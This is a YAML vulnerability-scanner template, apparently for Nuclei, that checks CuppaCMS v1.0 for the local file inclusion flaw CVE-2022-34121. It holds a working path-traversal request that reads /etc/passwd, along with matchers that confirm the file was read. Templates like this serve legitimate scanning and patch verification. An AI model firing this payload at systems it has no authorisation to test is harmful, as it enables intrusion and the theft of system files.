45 lines
1.2 KiB
YAML
45 lines
1.2 KiB
YAML
id: CVE-2022-34121
|
|
|
|
info:
|
|
name: CuppaCMS v1.0 - Local File Inclusion
|
|
author: edoardottt
|
|
severity: high
|
|
description: |
|
|
Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
|
|
reference:
|
|
- https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
|
|
- https://github.com/CuppaCMS/CuppaCMS/issues/18
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-34121
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-34121
|
|
cwe-id: CWE-829
|
|
cpe: cpe:2.3:a:cuppacms:cuppacms:*:*:*:*:*:*:*:*
|
|
epss-score: 0.7596
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
tags: cve,cve2022,lfi,cuppa,cms
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /templates/default/html/windows/right.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
url=../../../../../../../../../../../../etc/passwd
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2023/01/15
|